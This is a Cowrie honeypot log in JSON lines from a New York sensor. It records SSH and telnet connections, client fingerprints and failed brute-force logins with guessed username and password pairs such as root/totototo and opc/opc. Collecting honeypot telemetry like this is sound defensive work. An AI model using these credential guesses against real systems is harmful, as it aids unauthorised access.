{"eventid":"cowrie.session.closed","duration":32.42690420150757,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:09.692346Z","src_ip":"213.136.75.179","session":"d2b6a2c6b7e0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:09.818329Z","src_ip":"202.184.144.220","session":"130ff65268b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"totototo","message":"login attempt [root/totototo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:10.867434Z","src_ip":"202.184.144.220","session":"130ff65268b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.384209871292114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:11.119096Z","src_ip":"159.223.86.167","session":"3e12005ab74b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.964904308319092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:11.278735Z","src_ip":"213.136.75.179","session":"fa0fc2b59c0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:12.116023Z","src_ip":"202.184.144.220","session":"130ff65268b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45152,"dst_ip":"159.203.135.109","dst_port":23,"session":"e410ce64ae0d","protocol":"telnet","message":"New connection: 23.254.167.244:45152 (159.203.135.109:23) [session: e410ce64ae0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:12.144864Z"}
{"eventid":"cowrie.session.closed","duration":32.808454275131226,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:12.271067Z","src_ip":"213.136.75.179","session":"25c756d36267","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":36478,"dst_ip":"159.203.135.109","dst_port":23,"session":"96468795193a","protocol":"telnet","message":"New connection: 159.223.86.167:36478 (159.203.135.109:23) [session: 96468795193a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:13.313737Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48088,"dst_ip":"10.17.0.5","dst_port":22,"session":"42e7dba455b9","protocol":"ssh","message":"New connection: 176.65.139.103:48088 (10.17.0.5:22) [session: 42e7dba455b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:14.595019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:14.601691Z","src_ip":"176.65.139.103","session":"42e7dba455b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:14.694460Z","src_ip":"176.65.139.103","session":"42e7dba455b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.979984521865845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:15.092434Z","src_ip":"155.117.234.131","session":"75d23988288a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:15.099472Z","src_ip":"176.65.139.103","session":"42e7dba455b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.688642740249634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:15.357666Z","src_ip":"159.223.86.167","session":"b753376dbc0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:16.186388Z","src_ip":"176.65.139.103","session":"42e7dba455b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.618885040283203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:16.296944Z","src_ip":"159.223.86.167","session":"b6039b415a21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56528,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8954795cba6","protocol":"ssh","message":"New connection: 159.203.92.129:56528 (159.203.135.109:22) [session: c8954795cba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:16.429717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:16.706522Z","src_ip":"159.203.92.129","session":"c8954795cba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:16.711170Z","src_ip":"159.203.92.129","session":"c8954795cba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anonymous","password":"anonymous123456","message":"login attempt [anonymous/anonymous123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:16.723930Z","src_ip":"159.203.92.129","session":"c8954795cba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:17.730374Z","src_ip":"159.203.92.129","session":"c8954795cba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.446967601776123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:18.144571Z","src_ip":"159.223.86.167","session":"3b5dc2465b18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.560450315475464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:18.261925Z","src_ip":"159.223.86.167","session":"67a58394514d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42754,"dst_ip":"10.17.0.5","dst_port":23,"session":"50a3b3722161","protocol":"telnet","message":"New connection: 213.136.75.179:42754 (10.17.0.5:23) [session: 50a3b3722161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:18.469815Z"}
{"eventid":"cowrie.session.closed","duration":31.3224937915802,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:19.056780Z","src_ip":"213.136.75.179","session":"900c6de2c90d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43709373474121,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:19.157824Z","src_ip":"159.223.86.167","session":"8586033491f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42764,"dst_ip":"10.17.0.5","dst_port":23,"session":"68e137f2ee2d","protocol":"telnet","message":"New connection: 213.136.75.179:42764 (10.17.0.5:23) [session: 68e137f2ee2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:19.615437Z"}
{"eventid":"cowrie.session.closed","duration":30.71981191635132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:20.141674Z","src_ip":"159.223.86.167","session":"d0ad238554fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44478,"dst_ip":"10.17.0.5","dst_port":22,"session":"330df10209e5","protocol":"ssh","message":"New connection: 176.65.139.103:44478 (10.17.0.5:22) [session: 330df10209e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:24.405934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:24.440890Z","src_ip":"176.65.139.103","session":"330df10209e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:24.490881Z","src_ip":"176.65.139.103","session":"330df10209e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:24.846486Z","src_ip":"176.65.139.103","session":"330df10209e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.235.136.5","src_port":58894,"dst_ip":"10.17.0.5","dst_port":23,"session":"d559867e5c20","protocol":"telnet","message":"New connection: 105.235.136.5:58894 (10.17.0.5:23) [session: d559867e5c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:25.219522Z"}
{"eventid":"cowrie.session.closed","duration":31.31862497329712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:25.487548Z","src_ip":"213.136.75.179","session":"93596a6dad61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70380425453186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:25.496804Z","src_ip":"213.136.75.179","session":"a974220a5b4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:25.957642Z","src_ip":"176.65.139.103","session":"330df10209e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8142728805542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:27.318289Z","src_ip":"213.136.75.179","session":"419a6414dfe3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39730,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b8d9b55ba13","protocol":"telnet","message":"New connection: 159.223.86.167:39730 (159.203.135.109:23) [session: 4b8d9b55ba13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:28.355554Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":37870,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9bfcc101586","protocol":"telnet","message":"New connection: 213.136.75.179:37870 (10.17.0.5:23) [session: e9bfcc101586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:29.012164Z"}
{"eventid":"cowrie.session.closed","duration":30.49306082725525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:29.157964Z","src_ip":"159.223.86.167","session":"0c669b0bb7bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":37886,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d0690663fd3","protocol":"telnet","message":"New connection: 213.136.75.179:37886 (10.17.0.5:23) [session: 5d0690663fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:29.800584Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53944,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f1a4d3a1f70","protocol":"telnet","message":"New connection: 159.223.86.167:53944 (159.203.135.109:23) [session: 8f1a4d3a1f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:31.697098Z"}
{"eventid":"cowrie.session.closed","duration":30.481469869613647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:33.181646Z","src_ip":"159.223.86.167","session":"45caf5edd062","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75386667251587,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:33.407441Z","src_ip":"213.136.75.179","session":"136496c71522","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49976,"dst_ip":"10.17.0.5","dst_port":22,"session":"9765ba330fad","protocol":"ssh","message":"New connection: 176.65.139.103:49976 (10.17.0.5:22) [session: 9765ba330fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:33.829589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:33.833722Z","src_ip":"176.65.139.103","session":"9765ba330fad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:33.914875Z","src_ip":"176.65.139.103","session":"9765ba330fad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":22468,"dst_ip":"10.17.0.5","dst_port":22,"session":"2898b5ef37a3","protocol":"ssh","message":"New connection: 193.46.255.86:22468 (10.17.0.5:22) [session: 2898b5ef37a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:34.010396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:34.016652Z","src_ip":"193.46.255.86","session":"2898b5ef37a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:34.152959Z","src_ip":"193.46.255.86","session":"2898b5ef37a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:34.173816Z","src_ip":"176.65.139.103","session":"9765ba330fad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gay","message":"login attempt [root/gay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:34.777695Z","src_ip":"193.46.255.86","session":"2898b5ef37a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:35.285897Z","src_ip":"176.65.139.103","session":"9765ba330fad","protocol":"ssh"}
